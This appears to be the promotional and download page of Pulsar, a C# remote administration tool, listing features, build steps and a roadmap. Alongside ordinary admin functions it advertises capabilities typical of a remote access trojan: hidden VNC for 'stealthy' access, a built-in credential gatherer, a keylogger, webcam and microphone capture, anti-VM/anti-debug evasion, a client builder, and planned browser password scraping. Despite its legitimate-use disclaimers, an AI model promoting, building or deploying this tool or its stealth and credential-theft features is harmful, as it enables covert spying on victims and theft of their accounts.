Pulsar

A lightweight, fast, and powerful remote administration tool written in C#. The next evolution in remote system management.

Key Features

Pulsar offers a comprehensive suite of tools for remote administration, security, and system management.

TCP Network Streams

IPv4 & IPv6 support for robust connectivity across networks

Fast Serialization

Uses Protocol Buffers for efficient data transfer

Encrypted Communication

Secure TLS encryption for all traffic

UPnP Support

Automatic port forwarding for easy setup

HVNC

Hidden Virtual Network Computing for stealthy remote access

Kematian Gatherer

Integrated credential recovery system

Task Manager

View and manage remote processes

File Manager

Browse, upload, and download files remotely

Remote Shell

Command-line access to remote systems

Keylogger

Unicode-supporting keylogger for input monitoring

Reverse Proxy

SOCKS5 proxy support for secure connections

System Information

Gather detailed system information remotely

Registry Editor

Edit the Windows registry remotely

Webcam Capture

Capture images from remote webcams

Microphone Capture

Record audio from remote microphones

Chat

Real-time chat with remote users

Remote Script Execution

Execute PowerShell, Batch, or custom scripts

Anti-VM / Anti-Debug

Evade analysis environments

Screenshots

Pulsar Remote Shell interface

Remote Shell

Pulsar Remote Desktop interface

Remote Desktop

Pulsar File Manager interface

File Manager

Pulsar Task Manager interface

Task Manager

Pulsar Registry Editor interface

Registry Editor

Pulsar Keylogger interface

Keylogger

Download Pulsar

Get started with Pulsar today. Download the latest stable release and take control of your remote administration needs.

Getting Started

1. Download and Extract

Download the latest release and extract the files to a folder of your choice.

2. Run Pulsar

Run Pulsar.exe (server) or build the client as needed.

3. Configure Settings

Configure your settings using the built-in client builder.

Note: Pulsar is intended for legitimate administrative and educational use only. Always ensure you have permission to access remote systems.

Supported Platforms

Runtime

.NET Framework 4.5.2 or higher

Operating Systems (32- and 64-bit)

  • • Windows 11
  • • Windows Server 2022
  • • Windows 10
  • • Windows Server 2019
  • • Windows Server 2016
  • • Windows 8/8.1
  • • Windows Server 2012
  • • Windows 7
  • • Windows Server 2008 R2

How to Compile

# Open Pulsar.sln in Visual Studio 2019+ with .NET Desktop Development installed
# Restore NuGet Packages
# Build the project (Build > F6)
# Find executables in the Bin directory

Client Build Options

ConfigurationUse CaseDetails
DebugTestingUses pre-defined Settings.cs. Edit before compiling.
ReleaseProductionRun Pulsar.exe and use the client builder for custom settings.

Troubleshooting:

  • Ensure all dependencies are restored via NuGet.
  • If you encounter build errors, check your .NET Framework version and Visual Studio workloads.

Development Roadmap

Our vision for Pulsar's future development. These are the features and improvements we're working on to make Pulsar even more powerful.

Web API

A web API (e.g. REST-like) allows to interact with the clients in more flexible ways and can be used to build a web interface for Pulsar.

Transparent Communication Protocol

To open up the way for Pulsar clients in different programming languages the communication protocol needs to be clearly specified and documented.

Cross-Platform Support

A long-term goal is to support operating systems such as MacOS and Linux. The new .NET Core framework will help achieve this goal.

Command Line (CLI) Version of the Server

It should be possible to use the server as a simple CLI tool to accept and forward (proxy) connections to other servers.

GUI Overhaul

The GUI needs to be reworked in a more modern way, such as WPF or a web-based interface. WPF as GUI framework would drastically improve rendering performance of the remote desktop with the hardware accelerated rendering, similar to a web-based GUI depending on the used browser.

Allow Different Types of Clients (Permissioned Clients)

Allow clients with higher privileges (i.e. ability to administrate other lower privileged clients) connect to the server. This change would allow administrators to manage clients from their own computers with a lightweight client without having to run the server.

Allow Client Installation as Windows Service

Currently the client is installed on a per-user basis and this makes it unflexible to remotly manage the machine when the user is not logged in. It also requires the client to be installed for every account who uses the machine. Machines which are used by multiple users would greatly benefit when Pulsar could be run as a Windows service.

Basic Client GUI

Add a basic GUI to the client to allow the user at any time to check the status if a specific feature is active. Additionally it can show a notification when the client gets installed or when someone requests permission to use remote desktop (similar to teamviewer).

Password Recovery Enhancement

Add Browser Scraping so passwords don't have to have predefined paths for each file, making credential recovery more flexible and comprehensive.

...

Contributors

Meet the amazing developers who contribute to Pulsar's development.

Latest Issues

Track the latest issues and feature requests for Pulsar.

Security Notice

Pulsar is designed for legitimate administrative and educational purposes only. Misuse of this software may violate laws and regulations. Always ensure you have proper authorization before accessing any system.